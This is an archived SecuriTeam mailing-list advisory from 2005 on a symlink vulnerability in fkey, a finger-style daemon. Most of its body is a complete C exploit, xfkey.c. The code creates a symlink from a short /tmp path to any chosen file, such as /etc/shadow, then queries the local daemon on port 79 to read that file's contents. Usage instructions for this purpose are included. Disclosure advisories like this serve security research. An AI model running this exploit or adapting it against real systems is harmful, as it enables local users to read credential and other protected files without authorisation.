[EXPL] fkey Symblink Vulnerability

From: SecuriTeam (support_at_securiteam.com)
Date: 01/23/05

  • Next message: SecuriTeam: "[UNIX] JSBoard Arbitrary File Reading"
    To: list@securiteam.com
    Date: 23 Jan 2005 15:22:02 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      fkey Symblink Vulnerability
    ------------------------------------------------------------------------

    SUMMARY

     <http://freshmeat.net/projects/fkey> fkey is "a scalable finger daemon
    type server for public display of user-specified files, e.g. PGP keys,
    contact information, etc. Users edit their data file (supplied as an ASCII
    text file), and the finger daemon displays it on public request. It may be
    used as a banner server".

    Due to improper usage of local files by fkey, its possible for a local
    attacker to use the program to gain elevated privileges.

    DETAILS

    Exploit:
    /*[ fkey[v0.0.2]: local/remote file accessibility exploit. ]*
     * *
     * by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo) *
     * *
     * xfkey homepage/URL: *
     * http://www.freshmeat.net/projects/fkey *
     * *
     * compile: *
     * gcc xfkey.c -o xfkey *
     * *
     * syntax: *
     * # ./xfkey /etc/shadow 2>~/save_filename *
     * *
     * bug: *
     * fkey is a finger-like daemon for accessing remote files *
     * in a specified directory. there is no limitations *
     * placed on the file acessing other than it must be a *
     * filename/path equal to 10 or less bytes. this limits *
     * the remote possibilities somewhat, but symlinking to a *
     * short path(ie. /tmp/file) locally can access anything. *
     * (this exploits locally) *
     * - SECU *
     * note: *
     * this is pretty low-risk due to the fact that the *
     * program isn't very common, just browsing freshmeat.net *
     * and killing some time. *
     ************************************************************/
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <string.h>
    #include <strings.h>
    #include <signal.h>
    #include <netdb.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <sys/time.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>

    #define TMPFILE "/tmp/xfkey" /* must be 10 characters or less. */

    void fkey_connect(unsigned short);
    void printe(char *,short);
    void sig_alarm(){printe("alarm/timeout hit.",1);}

    int main(int argc,char **argv){
     unsigned short port=79;
     if(argc<2){
      printf("[!] syntax: %s <file> [port]\n",argv[0]);
      exit(1);
     }
     if(argc>2)port=atoi(argv[2]);
     unlink(TMPFILE);
     if(symlink(argv[1],TMPFILE))
      printe("symlink() failed.",1);
     fkey_connect(port);
     unlink(TMPFILE);
     exit(0);
    }
    void fkey_connect(unsigned short port){
     int sock=0,l=0,m=0;
     char buf[1024+1];
     struct hostent *t;
     struct sockaddr_in s;
     sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
     s.sin_family=AF_INET;
     s.sin_port=htons(port);
     printf("[*] attempting to connect: localhost:%u.\n",port);
     if((s.sin_addr.s_addr=inet_addr("127.0.0.1"))){
      if(!(t=gethostbyname("localhost")))
       printe("couldn't resolve hostname.",1);
      memcpy((char*)&s.sin_addr,(char*)t->h_addr,
      sizeof(s.sin_addr));
     }
     signal(SIGALRM,sig_alarm);
     alarm(3);
     if(connect(sock,(struct sockaddr *)&s,sizeof(s)))
      printe("connection failed.",1);
     alarm(0);
     printf("[*] successfully connected: localhost:%u.\n",port);
     write(sock,TMPFILE,strlen(TMPFILE));
     alarm(5);
     for(memset(buf,0,1025);(l=read(sock,buf,1024));memset(buf,0,1025)){
      fputs(buf,stderr);
      m+=l;
     }
     alarm(0);
     if(m<=0)
      printe("exploit failed, file doesn't exist or zero-length file.",0);
     close(sock);
     return;
    }
    void printe(char *err,short e){
     printf("[!] %s\n",err);
     if(e)exit(1);
     return;
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:v9@fakehalo.deadpig.org>
    Vade 79.
    The original article can be found at: <http://fakehalo.us/xfkey.c>
    http://fakehalo.us/xfkey.c

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[UNIX] JSBoard Arbitrary File Reading"

    Relevant Pages

    • [EXPL] Hosting Controller Unauthenticated User Registration (exploit)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... " Hosting Controller is a complete ... An unauthenticated user registration vulnerability exists in Hosting ... void banner; ...
      (Securiteam)
    • [EXPL] GNU Mailutils imap4d search Format String (Exploit)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... int IO_file_close; ... void auth(int, char *, char *); ...
      (Securiteam)
    • [EXPL] Microsoft Workstation Service WKSSVC Remote Exploit (MS03-049)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... #pragma comment ... static int alarm_fired=0; ... void err_exit{ ...
      (Securiteam)
    • [UNIX] File Injection in paNews
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Vulnerability in administrating code of paNews allows to inject malicious ... SWL injection to add an admin user on system. ... void sendxpl; ...
      (Securiteam)
    • [EXPL] Fusion SBX Remote Command Execution (Exploit 2)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... need a MySQL database to install Fusion SBX. ... void banner; ... void sendxpl(FILE *out, char *argv, int type); ...
      (Securiteam)